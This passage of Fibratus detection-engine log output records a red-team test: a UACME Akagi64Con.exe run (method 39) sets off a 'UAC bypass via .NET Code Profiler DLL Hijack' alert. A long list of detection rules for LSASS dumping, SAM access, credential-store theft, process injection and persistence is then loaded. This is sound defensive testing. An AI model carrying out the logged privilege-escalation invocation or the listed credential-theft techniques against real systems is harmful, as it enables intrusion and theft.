Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 12728009 + Pid: 11616 + Tid: 14496 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 21:18:21.5913629 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 4223f1000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0de98d9080, name➜ cmd.exe, pid➜ 15192, ppid➜ 11616, real_ppid➜ 11616, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 21:18:21.5913629 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 11616 + Ppid: 18232 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T21:18:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T21:18:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T21:18:45+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T12:53:50+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T12:53:50+01:00 level=info msg=bootstrapping with pid 4332. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T12:53:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html port=>25 to=>[] use-template=>true enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ max-buffers=>36 stack-enrichment=>true enable-registry=>true buffer-size=>512 enable-vamap=>true enable-image=>true enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-mem=>false enable-net=>true flush-interval=>1s enable-audit-api=>true enable-dns=>false enable-threadpool=>false enable-thread=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true max-age=>0 max-backups=>15 level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ trace-log=>false timeout=>5s index-name=>fibratus healthcheck=>true sniff=>false healthcheck-interval=>10s flush-period=>1s bulk-workers=>1 template-name=>fibratus enabled=>false gzip-compression=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200]] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ passive=>false vhost=>/ timeout=>5s url=>amqp://localhost:5672 enabled=>false exchange-type=>topic routing-key=>fibratus tls-insecure-skip-verify=>false durable=>false delivery-mode=>transient exchange=>fibratus] http=>[ endpoints=>[] timeout=>5s enabled=>false serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false method=>POST]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-mmaps=>false excluded-files=>[] excluded-procs=>[] skip-files=>false enabled=>false scan-timeout=>10s skip-registry=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T12:53:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T12:53:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T12:54:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T12:54:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T12:54:55+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T12:54:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T12:54:56+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T12:54:56+01:00 level=info msg=bootstrapping with pid 18536. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T12:54:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ content-type=>text/html use-template=>true enabled=>false port=>25 to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-audit-api=>true stack-enrichment=>true enable-fileio=>true enable-mem=>false enable-handle=>false enable-net=>true enable-registry=>true flush-interval=>1s enable-vamap=>true enable-threadpool=>false buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-thread=>true enable-image=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 formatter=>text log-stdout=>true level=>info] + output ......................... [ http=>[ endpoints=>[] method=>POST timeout=>5s enable-gzip=>false enabled=>false serializer=>json tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ durable=>false timeout=>5s tls-insecure-skip-verify=>false routing-key=>fibratus enabled=>false passive=>false url=>amqp://localhost:5672 exchange-type=>topic vhost=>/ exchange=>fibratus delivery-mode=>transient] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid 